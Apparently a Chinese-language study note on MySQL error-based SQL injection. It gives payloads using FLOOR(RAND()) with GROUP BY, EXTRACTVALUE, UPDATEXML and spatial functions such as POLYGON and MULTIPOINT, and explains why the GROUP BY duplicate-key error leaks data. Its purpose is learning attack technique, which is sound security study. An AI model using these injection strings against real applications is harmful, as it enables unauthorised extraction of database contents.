文章目录
FLOOR
先写上payload:
SELECT 1 FROM (SELECT COUNT(*),CONCAT(DATABASE(),FLOOR(RAND()*2))t FROM mypassword.`password` GROUP BY t)i
Floor()的作用:去掉小数部分
Rand()随机生成0~1范围内的小数,rand()*2可以令整数位可能产生1,而不至于再经过floor函数之后全为0
还有就是floor(rand()*2)的结果是可控的,产生011011
上述payload的描述
在经过查询(select)之后,会产生一个虚拟表,将CONCAT字段设置未t
然后再将这个虚拟表交给group by处理,处理结果是新的虚拟表,将其命名为i
报错原理:
就在于group by处,因为此命令是为了分组,所以,不能插入重复的t,对于重复的t,应该做count。比如下图
对于一张空的虚拟表
现在来了一条数据,key为1,然后查看表,没有key为1的值,那么插入
结果就是
然后又来了一个key为1的数据,那么查看表,已经有了key为1,所以,就做++,结果为
来了key为0,则同理,做插入
而floor(rand()2)的作用就是再已经存在key为1或(0)的情况下,再次插入key为1或(0)的数据,而不是++,这时就导致了报错
在上述的payload中,floor(rand()2)很明显是出现了两次,而它页执行了两次,
假设虚拟表中已经有了,如下
然后继续floor(rand2),结果可能是0,那么结果应该是插入一条数据,然后后边的floor(rand2)再运算一次,结果可能是1,那么就相当于插入1,然后就报错了。
EXTRACTVALUE
Payload:
SELECT * FROM users WHERE user_id=1 AND (EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e)));
此函数从目标XML中返回包含所查询值的字符串.
语法:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)而报错点就位于xpath_string,当这个参数的格式不符合xpath语法时,就会产生报错
上边的paylaod中,0x7e时不符合xpath语法的,还有(select DATABASE()) 外边的这层括号可不能丢掉
结果如图
UPDATEXML
Payload:
SELECT * FROM users WHERE user_id=1 AND (UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),0x7e));
函数构成:UPDATEXML (XML_document, XPath_string, new_value);
和上边的extractvalue相对来说,updatexml是用来修改xml的,而extractvalue是用来查询xml的,用法都一样
EXP
我是从下方网站学习到的报错方式
exp学习
此函数是以e为底的对数函数(我之前一直以为这是指数函数,理解错了)
POLYGON
Payload:
SELECT * FROM users WHERE user_id=1 AND POLYGON((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))
这函数是干啥的,我也不知道,好像和空间数据类型有关,记住payload就行了
MULTIPOINT
Payload:
SELECT * FROM users WHERE user_id=1 AND MULTIPOINT((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))
MULTILINESTRING
Payload:
SELECT * FROM users WHERE user_id=1 AND MULTILINESTRING((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))
LINESTRING
Payload:
SELECT * FROM users WHERE user_id=1 AND LINESTRING((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))
MULTIPOLYGON
Payload:
SELECT * FROM users WHERE user_id=1 AND MULTIPOLYGON((SELECT * FROM(SELECT * FROM(SELECT DATABASE())a)b))
GEOMETRYCOLLECTION
Payload:
SELECT * FROM users WHERE user_id=1 AND GEOMETRYCOLLECTION((SELECT * FROM (SELECT * FROM(SELECT DATABASE())a)b))
polygon,multipoint,GeometryCollection,multilinestring,multipolygon,linestring
都是一个类型的,部分函数可以从下边这个链接中了解到
描述